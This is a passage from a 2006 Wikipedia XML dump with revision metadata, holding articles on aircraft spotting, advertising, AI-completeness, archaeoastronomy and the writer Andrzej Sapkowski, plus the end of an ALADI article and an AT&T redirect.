As the institutional and normative &quot;umbrella&quot; of regional integration that shelters these agreements as well as the subregional ones ([[Andean Community]], [[MERCOSUR]], [[G-3 Free Trade Agreement]], etc.) it is the aim of the Association to support and favour every effort in order to create a common economic area.

==External links==
* [http://www.aladi.org/NSFALADI/SITIO.NSF/INICIO ALADI web site]

[[es:Asociación Latinoamericana de Integración]]
[[pl:ALADI]]
[[Category:Latin America]]</text>
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  </page>
  <page>
    <title>Aircraft spotting</title>
    <id>2858</id>
    <revision>
      <id>41869040</id>
      <timestamp>2006-03-02T06:34:52Z</timestamp>
      <contributor>
        <username>Arpingstone</username>
        <id>7095</id>
      </contributor>
      <comment>WP does not link to forums so link removed, and giving founders of the other links is not WP style</comment>
      <text xml:space="preserve">'''Aircraft spotting'''  or '''Plane spotting''' is a [[hobby]] involving the enjoyment, observation and photography of [[aircraft]]: [[glider|gliders]], powered aircraft, large balloons, [[airship|airships]], [[helicopter|helicopters]], and microlights. 

[[image:virginatl.over.heathrow.750pix.jpg|thumb|right|250px|Virgin Atlantic Airbus A340. The picture was taken from Myrtle Avenue, an excellent '''aircraft spotting''' location at the south east corner of [[London Heathrow Airport]].]]

When spotting planes, observers notice the key attributes of an aircraft.  They may notice a distinctive noise from its engine(s) or the number of vapour trails it is leaving against a blue sky. They will assess the size of the plane and the number, type and position of its engines.  Another clue is the position of wings relative to the fuselage and the degree to which they are swept rearwards.  Are the wings above the fuselage, below it, or fixed at midpoint?  Perhaps it is a [[biplane]] or triplane.  The position of the tailplane relative to the fin(s) and the shape of the fin are also clues to its type. If it is an antique or light aircraft it might have a tail wheel.  Some aircraft types have a fixed [[undercarriage]] whilst others have retractable wheels.  Other features may come into view, the speed, cockpit placement, colour scheme or special equipment that changes the silhouette of the plane.  Taken together these clues will rapidly hasten the correct identification of a plane.  Obviously some types are easily confused whilst others have a more distinctive appearance.  If the observer is familiar with the airfield being used by the aircraft and its normal traffic patterns, he or she is more likely to leap quickly to a decision about the aircraft's identity - they may have seen the same type of aircraft from the same angle many times.

Some spotters will note the markings, a national insignia or [[airline]] livery or logo perhaps, a squadron badge or code letters in the case of a military craft. Published manuals allow more information to be deduced, such as the delivery date or the manufacturer's construction number. [[Camouflage]] markings differ, depending on the surroundings in which that aircraft is expected to operate.

[[image:aircraft.spotting.srilankan.arp.jpg|thumb|left|300px|Spotters enjoying the landing of a SriLankan Airlines Airbus A340 at [[London Heathrow Airport]].]]

Ancillary activities might include listening-in to air traffic transmissions (where that is legal), liaising with other &quot;spotters&quot; to clear up uncertainties as to what aircraft have been seen at specific times or in particular places, and the drawing, painting, filming, tape-recording or photographing of aircraft. 

The more enthusiastic hobbyists might travel great distances in order to visit a different airport fom their usual one, to see an unusual aircraft or to view the remains of aircraft withdrawn from use. Some such &quot;wrecks and relics&quot; may eventually be placed in the care of museums - or perhaps be cannibalised in order to repair a similar aircraft already preserved. Some spotters may go on to work in the aviation industry or air traffic control service.

During [[World War II|WWII]] and the subsequent [[Cold War]] some countries encouraged their citizens to become &quot;plane spotters&quot; in an &quot;observation corps&quot; or similar public body for reasons of public security. Britain had the [[Royal Observer Corps]] which operated between 1925 and 1995.

Some spotters are quite competitive and may get a thrill from seeing, in due course, all the planes of a particular type ever built (or existing at that date). Spotters are generally well-aware of the hazards facing aviators and will stay alert when near active aerodromes, taking care not to interfere with aircraft or cause anxiety to their owners or users.
 
[[Image:tornado.za463.arp.jpg|thumb|300px|right|The large tail of the RAF Tornado makes identifying the aircraft easy]]

Many airfields in Australasia, Europe and North America recognise the public's interest in aviation as something to be encouraged and provide viewing areas in safe locations. Many organised [[airshow]]s draw large crowds and some raise funds for charitable causes such as [[museum]]s, organisations restoring historic planes, or bodies that assist injured aircrew or the dependents of Armed Forces' personnel. Some shows have a more commercial motive, and some aircraft photographers can make a profit from their hobby. The World Wide Web has provided a new outlet for some of their photographs and assists all spotters in letting each other know what is flying where. 


See [[bus spotting]], [[train spotting]], [[birding]], and [[butterfly watching]] for examples of similar hobbies.

==External links==
*[http://www.jetphotos.net/ JetPhotos.Net] &amp;ndash; Aircraft spotter website 
*[http://www.airliners.net/ Airliners.net] &amp;ndash; Aircraft spotter and aviation website
*[http://www.jetspotter.com/ Jetspotter.com] &amp;ndash; Aircraft spotter website 
*[http://www.planespotters.net/ Planespotters.net] Aircraft photos and production Lists
*[http://www.spotterswiki.com/ SpottersWiki.com] &amp;ndash; Aircraft spotter website 
*[http://www.planepictures.net/ PlanePictures.net]&amp;ndash; Aircraft pictures, spotter page
*[[Category:Hobbies]]
[[Category:Recreation]]

[[nl:Vliegtuigspotter]]
[[pl:Planespotting]]</text>
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  </page>
  <page>
    <title>Advertising</title>
    <id>2861</id>
    <revision>
      <id>41921788</id>
      <timestamp>2006-03-02T17:10:35Z</timestamp>
      <contributor>
        <username>Monkeyman</username>
        <id>79245</id>
      </contributor>
      <minor />
      <comment>/* Critical views */ Removing self promotion.</comment>
      <text xml:space="preserve">Generally speaking, '''advertising''' is the promotion of [[Good (economics and accounting)|goods]], [[service]]s, companies and ideas, usually by an identified [[sponsor]]. [[Marketing|Marketers]] see advertising as part of an overall promotional strategy. Other components of the promotional mix include [[publicity]], [[public relations]], [[sales|personal selling]] and [[sales promotion]].
[[Image:Ad Encyclopaedia-Britannica 05-1913.jpg|right|thumb|300px|A print advertisement from a 1913 issue of [[National Geographic]]]]

==History==
&lt;!-- Unsourced image removed: [[Image:12th street Wellner Motors(enhanced).jpg|right|thumb|250px|Advertisements painted on the side of buildings were common in the early-20th century U.S. This instance, now faded from lack of upkeep, is an example of a '''ghost ad'''.]] --&gt;

In ancient times the most common form of advertising was &quot;[[word of mouth]]&quot;. However, commercial messages and [[election campaign]] displays were found in the ruins of [[Pompeii]]. [[Ancient Egypt|Egyptians]] used [[papyrus]] to create sales messages and wall posters. Lost-and-found advertising on papyrus was common in [[Ancient Greece|Greece]] and [[Roman Empire|Rome]]. As printing developed in the [[15th century|15th]] and [[16th century]], advertising expanded to include handbills. In the [[17th century]] advertisements started to appear in weekly [[newspaper]]s in England. 

These early print ads were used mainly to promote books (which were increasingly affordable) and [[medicine]]s (which were increasingly sought after as [[disease]] ravaged Europe). [[Quackery|Quack ads]] became a problem, which ushered in [[Advertising regulation|regulation of advertising]] content.

As the economy was expanding during the [[19th century]], the need for advertising grew at the same pace. In [[United States|America]], the [[classified ad]]s became popular, filling pages of newspapers with small print messages promoting all kinds of goods. The success of this advertising format led to the growth of mail-order advertising. In [[1843]] the first [[advertising agency]] was established by [[Volney Palmer]] in [[Philadelphia]]. At first the agencies were just brokers for ad space in newspapers, but by the [[20th century]], advertising agencies started to take over responsibility for the content as well.

The [[1960s]] saw advertising transform into a modern, more scientific approach in which creativity was allowed to shine, producing unexpected messages that made advertisements interesting to read. The [[Volkswagen]] ad campaign featuring such headlines as &quot;Think Small&quot; and &quot;Lemon&quot; ushered in the era of modern advertising by promoting a &quot;position&quot; or &quot;unique selling proposition&quot; designed to associate each brand with a specific idea in the reader or viewer's mind. 

Today, advertising is evolving even further, with &quot;[[guerrilla warfare|guerrilla]]&quot; promotions that involve unusual approaches such as staged encounters in public places, giveaways of products such as cars that are covered with brand messages, and interactive advertising where the viewer can respond to become part of the advertising message.

==Media ==
[[Image:Advertisingman.jpg|thumb|right|250px|One effective advertising method is to pay people to hold signs in public places, such as the [http://money.guardian.co.uk/work/story/0,1456,1643687,00.html 'board guy'] pictured above]]
[[Image:Pedapodviews.jpg|thumb|right|Transit advertising is combined with experiential marketing using pedapods in Australia]]
Commercial advertising [[mass media|media]] can include [[Billboard (advertising)|billboard]]s ([[outdoor advertising]]), [[street furniture components]], printed [[flyer]]s, [[radio]], [[film|cinema]] and [[television]] ads, [[web banner]]s, web [[popups]], [[skywriting]], [[bus stop]] benches, [[magazine]]s, [[newspaper]]s, [[town crier]]s, [[side of a bus|sides of buses]], [[taxicab]] doors and roof mounts, [[industrial musical|musical stage shows]], [[metro|subway]] platforms and trains, elastic bands on disposable [[diapers]], stickers on apples in [[supermarket]]s, the opening section of [[Streaming media|streaming]] audio and video, and the backs of event tickets and supermarket receipts. Any place an &quot;identified&quot; sponsor pays to deliver their message through a [[medium]] is advertising.  

Covert advertising embedded in other entertainment media is known as [[product placement]]. 
A more recent version of this is advertising in [[film]], by having a main character use an item or other of a definite [[brand]] - an example is in the movie ''[[Minority Report]]'', where [[Tom Cruise]]'s character owns a computer with the ''[[Nokia]]'' logo clearly written in the top corner, or his watch engraved with the ''[[Bulgari]]'' logo.

The [[television commercial|TV commercial]] is generally considered the most effective mass-market advertising format and this is reflected by the high prices TV networks charge for commercial [[airtime]] during popular TV events. The annual [[Super Bowl]] [[American football|football]] game in the [[United States]] is known as much for its commercial advertisements as for the game itself, and the average cost of a single thirty-second TV spot during this game has reached $2.5 million (as of [[2006]]).

Increasingly, other mediums such as those discussed below are overtaking television due to a shift towards consumer's usage of the Internet as well as devices such as [[TiVo]].

Advertising on the [[World Wide Web]] is a recent phenomenon. Prices of Web-based advertising space are dependent on the &quot;relevance&quot; of the surrounding web content and the traffic that the website receives.

[[E-mail]] advertising is another recent phenomenon. Unsolicited bulk E-mail advertising is known as &quot;[[spamming|spam]]&quot;.  

Some [[types of companies|companies]] have proposed to place messages or [[corporate logo]]s on the side of booster [[rocket]]s and the [[International Space Station]]. [[Controversy]] exists on the effectiveness of [[subliminal message|subliminal advertising]] (see [[mind control]]), and the pervasiveness of mass messages (see [[propaganda]]). 

Unpaid advertising (also called [[word of mouth]] advertising), can provide good exposure at minimal cost. Personal recommendations (&quot;bring a friend&quot;, &quot;sell it by zealot&quot;), spreading buzz, or achieving the feat of equating a [[brand]] with a common noun (&quot;[[Xerox]]&quot; = &quot;[[photocopier]]&quot;, &quot;[[Kleenex]]&quot; = &quot;[[Facial tissue|tissue]]&quot; , &quot;[[Scotch Tape]]&quot; = &quot;[[Adhesive_tape|Clear Tape]]&quot;, &quot;[[Band-aid]]&quot; = 
&quot;[[bandage]]&quot; , &quot;[[Apple iPod |iPod]]&quot; = &quot;[[MP3_Player|MP3 Player]]&quot; ) -- these must provide the stuff of fantasy to the holder of an advertising budget.

The most common method for measuring the impact of mass media advertising is the use of the rating point (rp) or the more accurate target rating point (trp). These two measures refer to the percentage of the universe of the existing base of audience members that can be reached by the use of each media outlet in a particular moment in time. The difference between the two is that the rating point refers to the percentage to the entire universe while the target rating point refers to the percentage to a particular segment or target. This becomes very useful when focusing advertising efforts on a particular group of people. For example, think of an advertising campaign targeting a female audience aged 25 to 45. While the overall rating of a TV show might be well over 10 rating points it might very well happen that the same show in the same moment of time is generating only 2.5 trps (being the target: women 25-45). This would mean that while the show has a large universe of viewers it is not necessarily reaching a large universe of women in the ages of 25 to 45 making it a less desirable location to place an ad for an advertiser looking for this particular demographic.

==Impact==
{{sect-stub}}

The impact of advertising has been a matter of considerable debate and many different claims have been made in different contexts.  During debates about the banning of cigarette adervertising, a common claim from cigarette manufacturers was that cigarette advertising does not encourage people to smoke who would not otherwise{{ref|uk-parl-BAT}}.  The (eventually successful) opponents of advertising, on the other hand, claim that advertising does in fact increase consumption{{ref|ash}}.  

According to many media sources, the past experience and state of mind of the person subjected to advertising may determine the impact that advertising has.  Children under the age of four may be unable to distinguish advertising from other television programs, whilst the ability to determine the truthfullness of the message may not be developed until the age of eight{{note|lawrence}}.



==Public service advertising==
The same advertising techniques used to promote commercial goods and services can be used to inform, educate and motivate the public about non-commercial issues, such as [[AIDS]], political ideology, energy conservation, religious recruitment, and deforestation.

Advertising, in its non-commercial guise, is a powerful educational tool capable of reaching and motivating large audiences. &quot;Advertising justifies its existence when used in the public interest - it is much too powerful a tool to use solely for commercial purposes.&quot; - Attributed to Howard Gossage by [[David Ogilvy]]

[[Public service advertising]], [[non-commercial advertising]], public interest advertising, cause  marketing, and social marketing are different terms for (or aspects of) the use of sophisticated advertising and marketing communications techniques (generally associated with commercial enterprise) on behalf of non-commercial, public interest issues and initiatives.

In the [[United States]], the granting of television and radio licenses by the [[Federal Communications Commission|FCC]] is contingent upon the station broadcasting a certain amount of public service advertising.

Public service advertising reached its height during World Wars I and II under the direction of several U.S. government agencies.

==Social impact==
=== Regulation ===
{{main|Advertising regulation}}

There have been increasing efforts to protect the public interest by regulating the content and the reach of advertising. Some examples are the ban on television [[tobacco advertising]] imposed in many countries, and the total ban on advertising to children under twelve imposed by the [[Sweden|Swedish]] government in 1991. Though that regulation continues in effect for broadcasts originating within the country, it has been weakened by the [[European Court of Justice]], which has found that Sweden was obliged to accept whatever programming was targeted at it from neighbouring countries or via satellite. 

In Europe and elsewhere there is a vigorous debate on whether and how much advertising to children should be regulated. This debate was exacerbated by a report released by the Henry J. Kaiser Family Foundation in February 2004 which suggested that food advertising targeting children was an important factor in the epidemic of childhood [[obesity]] raging across the United States.

In many countries - namely New Zealand, South Africa, Canada, and many European contries- the advertising industry operates a system of self-regulation. Advertisers, advertising agencies and the media agree on a code of advertising standards that they attempt to uphold. The general aim of such codes is to ensure that any advertising is 'legal, decent, honest and truthful'. Some self-regulatory organisations are funded by the industry, but remain independent, with the intent of upholding the standards or codes (like the [[Advertising Standards Authority|ASA]] in the UK).

===Critiques of the medium===
As advertising and marketing efforts become increasingly ubiquitous in modern Western societies, the industry has come under criticism of groups such as [[AdBusters]] via [[culture jamming]] which criticizes the media and [[consumerism]] using advertising's own techniques. The industry is accused of being one of the engines powering a convoluted [[economic]] [[mass production]] system which promotes [[consumption]]. Some advertising campaigns have also been criticized as inadvertently or even intentionally promoting [[sexism]], [[racism]], and [[ageism]]. Such criticisms have raised questions about whether this medium is creating or reflecting cultural trends. At very least, advertising often reinforces [[stereotype]]s by drawing on recognizable &quot;types&quot; in order to tell stories in a single image or 30 second time frame. Recognizing the social impact of advertising, [[MediaWatch]], a non-profit women's organization, works to educate consumers about how they can register their concerns with advertisers and regulators. It has developed educational materials for use in schools. The award-winning book, Made You Look - How Advertising Works and Why You Should Know , by former MediaWatch president Shari Graydon, provides context for these issues for young readers. 

[[public interest|Public]] [[interest group]]s and free thinkers are increasingly suggesting that access to the mental space targeted by advertisers should be taxed, in that at the present moment that space is being [[externality|freely taken advantage of]] by advertisers with no compensation paid to the members of the public who are thus being intruded upon. This kind of tax would be a [[Pigovian tax]] in that it would act to reduce what is now increasingly seen as a public [[nuisance]]. Efforts to that end are gathering momentum, with [[Arkansas]] and [[Maine]] considering bills to implement such taxation. [[Florida]] enacted such a tax in [[1987]] but was forced to repeal it after six months, as a result of a concerted effort by national commercial interests, which withdrew planned conventions, causing major losses to the tourism industry, and cancelled advertising, causing a loss of 12 million dollars to the broadcast industry alone.

===Public perception of the medium===
Over the years, the public perception of advertising has become very negative. It is seen as a medium that inherently promotes a lie, based on the purpose of the advertisement - to encourage the target audience to submit to a cause or a belief, and act on it to the advertising party's benefit and consequently the target's disadvantage. They are either perceived as directly lying (stating opinions or untruths directly as facts), lying by omission (usually terms or conditions unfavorable to the customer), portraying a product or service in a light that does not reflect reality or even making up realities where their product has a new rol. It is this increased awareness of the intention of advertising, as well as advertising regulations that have increased the challenges that marketers face.

===Effects on communication media===
Another effect of advertising is to modify the nature of the communication media where it is shown. The most clear example is television. Channels that get most of their revenues from publicity try to make their medium a good place for communicating ads. That means trying to make the public stay for long times and in a mental state that will make spectators not to switch the channel through the ads. Programs that are low in mental stimulus and require light concentration and are varied are best for long sitting times and make for easier emotional jumps to ads, that can become more entretaining than regular shows.
A simple way to understand the objectives in [[television programming]] is to compare contents from channels paid and chosen by the viewer or channels that get their income mainly from advertisements.

==Future==
With the dawn of the Internet have come many new advertising opportunities.  Popup, Flash, banner, and email advertisements (the last often being a form of spam) abound.  Recently, the advertising community has attempted to make the adverts themselves desirable to the public. In one example, [[Cadillac]] chose to advertise in the movie '[[The Matrix Reloaded]]', which as a result contained many scenes in which Cadillac cars were used.

Each year, greater sums are paid to obtain a commercial spot during the [[Super Bowl]].  Companies attempt to make these commercials sufficiently entertaining that members of the public will actually want to watch them.  

Particularly since the rise of &quot;entertaining&quot; advertising, some people may like an advert enough that they wish to watch it later or show a friend.  In general, the advertising community has not yet made this easy, although some  have used the Internet to widely distribute their adverts to anyone wishing to see or hear them.

==See also==
* [[:Category:Advertising-free media|Advertising-free media]]
* [[:Category:Advertising magnates|Advertising magnates]]
* [[Bait and switch]]
* [[Brand]]
* [[List of advertising characters]]
* [[Marketing]]
* [[Geo (marketing)]]
* [[Promotion]]
* [[Propaganda]]
* [[Portrayals of the advertising industry in television and film]]

==References==
* {{note|uk-parl-BAT}} [http://www.parliament.the-stationery-office.co.uk/pa/cm199900/cmselect/cmhealth/27/0011313.htm ''Memorandum by British American Tobacco''] from The Tobacco Industry and the Health Risks of Smoking (TB 28) paragraph 272, ''&quot;Cigarette advertising does not cause people to smoke&quot;'', presented before the [[House of Commons]] Select Committee on Health [[13 January]] [[2000]], verifed 2005-12-31
* {{note|ash}} [http://www.ash.org.uk/html/advspo/html/adfaq.html ''Frequently asked Questions: Tobacco Advertising''], ''&quot;persuades non-smokers (especially the young) to start smoking&quot;'' from [[Action on Smoking and Health|ASH]], 
* {{note|lawrence}} {{cite book | first=Felicity | last=Lawrence | year=2004 | title=Not on the Label | chapter=The Ready Meal | editor=Kate Barker | pages=265 | publisher=Penguin | id=ISBN 0-141-01566-7 }}

==Bibliography==
*Wernick, Andrew (1991)	&quot;Promotional Culture: Advertising, Ideology and Symbolic Expression (Theory, Culture &amp; Society S.)&quot;, London: Sage Publications Ltd, ISBN 0803983905
*Graydon, Shari (2003) &quot;Made You Look - How Advertising Works and Why You Should Know&quot;, Toronto: Annick Press, ISBN 1-55037-814-7
*Leon, Jose Luis (1996) &quot;Los efectos de la publicidad&quot;. Barcelona: Ariel, ISBN 84-344-1266-7
*Leon, Jose Luis (2001) &quot;Mitoanálisis de la publicidad&quot;. Barcelona. Ariel, ISBN 84-344-1285-3

==External links==
{{commons|Advertising}}
*[http://advertising.utexas.edu/world/ University of Texas at Austin's Advertising related online directory]
*[http://historymatters.gmu.edu/mse/Ads/amadv.html American Advertising: A Brief History], George Mason University history essay
*[http://www.stayfreemagazine.org/archives/18/norris.html Advertising history according to the textbooks]

===Awareness===
*[http://www.ericdigests.org/pre-9219/consumer.htm Educating the Consumer about Advertising: Some Issues]
*[http://www.ericdigests.org/1996-3/advertising.htm Advertising in the Schools]

===Critical views===
*[http://www.adbusters.org/ AdBusters], anti-consumerism magazine
*[http://www.arachnoid.com/lutusp/consumerangst.html Consumer Angst] a critical essay about certain advertisements

&lt;div align=center&gt;
{| border=6 cellpadding=5
|-
| valign=middle | &lt;small&gt;[[list of marketing topics|List of Marketing Topics]]&lt;/small&gt;
| valign=middle | &lt;small&gt;[[list of management topics|List of Management Topics]]&lt;/small&gt;
|-
| valign=middle | &lt;small&gt;[[list of economics topics|List of Economics Topics]]&lt;/small&gt;
| valign=middle | &lt;small&gt;[[list of accounting topics|List of Accounting Topics]]&lt;/small&gt;
|-
| valign=middle | &lt;small&gt;[[list of finance topics|List of Finance Topics]]&lt;/small&gt;
| valign=middle | &lt;small&gt;[[list of advertising slogans|List of Advertising Slogans]]&lt;/small&gt;
|}&lt;/div&gt;


[[Category:Advertising| ]]
[[Category:Graphic design]]
[[Category:Marketing]]
[[Category:Promotion and marketing communications]]

[[cs:Reklama]]
[[da:Reklame]]
[[de:Werbung]]
[[el:Διαφήμιση]]
[[eo:Reklamo]]
[[es:Publicidad]]
[[fi:Mainonta]]
[[fr:Publicité]]
[[he:פרסום]]
[[id:Iklan]]
[[ja:広告]]
[[lt:Reklama]]
[[lv:Reklāma]]
[[nl:Reclame]]
[[no:Reklame]]
[[pl:Reklama]]
[[pt:Publicidade]]
[[ro:Publicitate]]
[[simple:Advertising]]
[[sl:Oglaševanje]]
[[sv:Reklam]]
[[zh:廣告]]</text>
    </revision>
  </page>
  <page>
    <title>AI-complete</title>
    <id>2862</id>
    <revision>
      <id>42106791</id>
      <timestamp>2006-03-03T21:44:58Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Wikify dates</comment>
      <text xml:space="preserve">'''AI-complete''' is, by analogy to [[NP-complete]]ness in complexity theory, a term first coined by Fanya S. Montalvo to indicate that the difficulty of a computational problem is equivalent to solving the central [[Artificial Intelligence]] problem, in other words, making computers as intelligent as people. Note that unlike NP-completeness, this term is typically used informally.

To call a problem AI-complete reflects an attitude that it won't be solved by a simple algorithm, such as those used in [[ELIZA]].  Such problems are hypothesised to include:

*[[Computer vision]]
*[[Natural language understanding]]
*Passing the [[Turing Test]]

These problems are easy for humans to do (in fact, some are described directly in terms of imitating humans), and all, at their core, are about representing complex relationships between a large number of human concepts.  Some systems can solve very simple restricted versions of these problems, but none can solve them in their full generality.

==References==
*Robert Engels &amp; Bernt Bremdal '''Information Extraction:  State-of-the-Art Report''' [[July 28]] [[2000]].
*Mallery, J.C.M. '''Thinking About Foreign Policy: Finding an Appropriate Role for Artificially Intelligent Computers''' The 1988 Annual Meeting of the International Studies Association, St. Louis, Missouri.

[[Category:Artificial intelligence]]
[[fr:IA-complet]]</text>
    </revision>
  </page>
  <page>
    <title>American Telephone and Telegraph Company</title>
    <id>2863</id>
    <revision>
      <id>15901246</id>
      <timestamp>2002-07-23T14:12:55Z</timestamp>
      <contributor>
        <username>Aldie</username>
        <id>901</id>
      </contributor>
      <minor />
      <comment>fix AT&amp;T link, wasn't getting through to main article.</comment>
      <text xml:space="preserve">#REDIRECT [[AT&amp;T]]</text>
    </revision>
  </page>
  <page>
    <title>Archaeoastronomy</title>
    <id>2864</id>
    <revision>
      <id>41654208</id>
      <timestamp>2006-02-28T20:50:58Z</timestamp>
      <contributor>
        <ip>129.97.192.83</ip>
      </contributor>
      <comment>Tidying link to Alexander Thom</comment>
      <text xml:space="preserve">'''Archaeoastronomy''' (also spelled '''Archeoastronomy''') is the study of ancient or traditional astronomies in their cultural context, utilizing archaeological and anthropological evidence. Archaeoastronomy examines archaeological sites for evidence of astronomy in remote cultures, and anthropological and ethnohistorical evidence for evidence of astronomical practices in living cultures. The study of the astronomies of living traditional cultures is sometimes called Ethnoastronomy. Archaeoastronomy also focuses on modern astronomy, employing historical records of early astronomical observations to study past astronomical events, and employing astronomical data to clarify the historical record.

In the study of solar, lunar, and stellar alignments of monuments, numerous claims have been made that the [[Megalith|megalithic monuments]], such as [[Nabta Playa]], [[Stonehenge]] and [[New Grange]], represent &quot;ancient observatories,&quot; but the extent and nature of their use in that regard needs careful definition. Certainly, they are aligned with particular significance to the solstitial points. 

The early development of this aspect of archaeoastronomy was influenced by [[Alexander Thom|Alexander Thom's]] studies of megalithic monuments of Britain, published in ''[[Megalithic sites in Britain]]'' (Oxford, 1967). Thom employed detailed surveys and statistical methods to investigate the calendric and astronomical functions of numerous Neolithic monuments. He claimed that these monuments incorporate alignments to points on the horizon where the sun and moon rise and set at seasonal extremes like midsummer, midwinter and the equinoxes. In addition to his work on Neolithic astronomy, he also proposed the [[megalithic yard]] as a standardized unit of measure.  Although his work greatly influenced the development of archaeoastronomy, many of his conclusions (especially those implying highly precise observations) have been widely questioned.

Anthropological and ethnohistorical methods have been used to study astronomies in a wide range of cultures.  Typical studies have examined the astronomical and calendric practices of the [[Hopi]] and [[Zuni]] of the Southwestern United States; the astronomy and cosmology of the Andean villagers of Misminay; the calendrical and divinatory practices of modern [[Maya]] priests, and the ambiguous [[lunar calendar]] of the [[Mursi]] of southwestern Ethiopia.

Archaeoastronomy has also considered the extensive records of ancient China for references to &quot;guest stars&quot;. &quot;Guest stars,&quot; or star-like objects which appeared in the [[night sky]], were of great interest to the observers of ancient China and were often dutifully recorded. These events have been associated with many transitory phenomena, such as [[comet]]s and, particularly, [[supernova|supernovae]]. Besides the insights such records provide into the significance of celestial phenomena in ancient cultures, they have also been found useful by modern astronomers.

== Some Old World sites where archaeoastronomy is being explored ==

* [[Arkaim]]
* [[Ballochroy]] 
* [[Carnac]], the ''Grand Menhir Brisé'' 
* [[Great Pyramid of Giza|Great Pyramids of Egypt]]
* [[Kintraw]]
* [[Minard, Brainport Bay]], raising methodological issues
* [[Newgrange]]
* [[Nabta Playa]]
* [[Sarmizegetusa Regia, Romania]]
* [[Stonehenge]] and other structures apparently aligned to astronomical bodies and/or events

== Some New World sites where archaeoastronomy is being explored ==

* [[Cahokia]], City of the Sun.
* [[Chaco Canyon]], cardinal orientatons, meridian alignment, inter-pueblo alignments
* [[Chichen Itza]], the caracol
* [[Monte Alban]], zenith tube 
* [[Teotihuacan]], the pecked-cross circles as survey-markers
* [[Uxmal]], Venus alignment of the &quot;Governor's Palace&quot;
* [[Xochicalco]], zenith tube

== Some artifacts that throw light on archaeoastronomy ==

* [[Ancient calendar]]s based on [[astronomy|astronomical]] observations
* [[Antikythera mechanism]]
* [[Nebra skydisk]]

== References ==

* Clive Ruggles, ''Astronomy in Prehistoric Britain and Ireland''
* ''Archaeoastronomy: The Journal of Astronomy in Culture'' [http://www.utexas.edu/utpress/journals/jarch.html]

== External links ==

*[http://www.solsticeproject.org/ The Solstice Project]
* [http://www.jqjacobs.net/mesoamerica/meso_astro.html Mesoamerican Archaeoastronomy], a Review of Contemporary Understandings of Prehispanic Astronomic Knowledge.
* [http://www.jqjacobs.net/astro/aegeo.html Archaeogeodesy], the area of study encompassing prehistoric and ancient place determination, point positioning, navigation (on land or water), astronomy and measure and representation of the earth.
* [http://www.jqjacobs.net/astro/epoch_2000.html Epoch 2000], an Excel spreadsheet for calculating temporally variable astronomic constants.
* [http://www.le.ac.uk/archaeology/rug/index.html Clives Ruggles webpage:] bibliography and synopsis of his course at [[Leicester University]]
* [http://www.wam.umd.edu/~tlaloc/archastro/index.html ISAAC], The International Society for Archaeoastronomy and Astronomy in Culture.
* [http://uk.arxiv.org/abs/physics/0301078 Babylonian and Indian astronomy]
* [http://www.astroarchaeology.org/ International Institute of Astroarchaeology]
* [http://www.biroz.net/words/flood.htm &quot;The House Of The Sky&quot;] - An essay exploring ancient astronomy, myths of the Deluge and the mythical stories of mankind's past and future
* [http://www.traditionsofthesun.org/ Traditions of the Sun] - NASA and others exploring the world's ancient observatories.
* [http://www.spaceimaging.com/gallery/ancientobservatories/ Space Imaging's Ancient Observatories gallery] - Satellite pictures of ancient observatories.
* [http://www.world-mysteries.com/alignments/mpl_alindx.htm Astronomical alignments of ancient structures] - essays about ancient astronomy.

[[Category:Archaeoastronomy| ]]
[[Category:Astronomy]]
[[Category:Archaeological sub-disciplines]]


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[[zh:&amp;#32771;&amp;#21476;&amp;#22825;&amp;#25991;&amp;#23398;]]</text>
    </revision>
  </page>
  <page>
    <title>Andrzej Sapkowski</title>
    <id>2865</id>
    <revision>
      <id>41615086</id>
      <timestamp>2006-02-28T15:05:46Z</timestamp>
      <contributor>
        <ip>62.121.70.211</ip>
      </contributor>
      <comment>translations</comment>
      <text xml:space="preserve">[[Image:Sapkowski.jpg|thumb|180px|right|Andrzej Sapkowski]]
'''Andrzej Sapkowski''', born [[June 21]], [[1948]] in [[Łódź]], is a [[Poland|Polish]] [[Fantasy|fantasy]] writer. Sapkowski studied economics and worked as a businessman before  becoming well known as a writer. His first [[short story]], ''[[The Hexer]] ''(''Wiedźmin''), was published in ''[[Fantastyka]]'', Poland's leading fantasy literary magazine, in 1986 and garnered enormous critical success. Sapkowski has created a cycle of tales based on the world of ''The Hexer'', comprising three collections of short stories and five [[novel]]s. This cycle and his many other books have made him one of the most well-known fantasy authors in Poland [[1990s]].

The main character of ''[[The Hexer]]'' (alternative translation: ''[[The Witcher]]'') is Geralt, a mutant assassin who has been trained from childhood to hunt down and destroy monsters and other vermin. Geralt moves in an ambiguous moral universe, yet manages to maintain his own coherent code of ethics. At once cynical and noble, Geralt has been compared to [[Raymond Chandler]]'s signature character [[Philip Marlowe]]. The world in which these adventures take place owes much to [[J.R.R. Tolkien]], while also heavily influenced by Polish history and Slavic mythology.

Sapkowski has won five [[Zajdel Award]]s, including three for the short stories &quot;Mniejsze zło&quot; (''Smaller Evil'') ([[1990]]), &quot;Miecz przeznaczenia&quot; (''Sword of destiny'') ([[1992]]) and &quot;W leju po bombie&quot; (''In a bomb hole'') ([[1993]]), and two for the novels &quot;Krew elfów&quot; (''Elven blood'') ([[1994]]) and &quot;Narrenturm&quot; ([[2002]]). 

In 1997, Sapkowski won the prestigious Polityka Passport award, which the Polish newsweekly Polityka grants to Polish artists that have strong prospects for international success.

In 2001, a [[The Hexer#Film|film]] based on the ''Hexer'' cycle was released in Poland and internationally, titled ''Wiedźmin'' (''The Hexer''),  but both have been critical and box office failures. 

Sapkowski's books have been translated into Czech, Russian, Lithuanian, German, Spanish, French, Slovakian and Portuguese. English translation of ''The Last Wish'' short story collection is going to be published by [[Victor Gollancz Ltd|Gollancz]] in [[2006]].

Polish game publisher CD Projekt is also working on a role-playing PC game based on this universe. Called The Witcher, it's currently due for release in 2006.

==Bibliography==
===Short story collections===
*''[[The Hexer]] ''(''Wiedźmin'') ([[1990]])
*''[[Sword of Destiny]]'' (''Miecz przeznaczenia'') ([[1992]])
*''[[The Last Wish]]'' (''Ostatnie życzenie'') ([[1993]])
*''[[Something ends, Something begins]]'' (''Coś się kończy, coś się zaczyna'') ([[2000]])

===Novels===
====The Saga====
*''[[Blood of the Elves]]'' (''Krew elfów'') ([[1994]])
*''[[Season of Contempt]]'' (''Czas pogardy'') ([[1995]])
*''[[Baptism by Fire]]'' (''Chrzest ognia'') ([[1996]])
*''[[The Swallow's Tower]]'' (''Wieża Jaskółki'') ([[1997]])
*''[[Lady of the Lake]]'' (''Pani Jeziora'') ([[1999]])

====Narrenturm trilogy====
*''[[Narrenturm]]'' ([[2002]])
*''[[Warriors of God]]'' (''Boży bojownicy'') (2004)
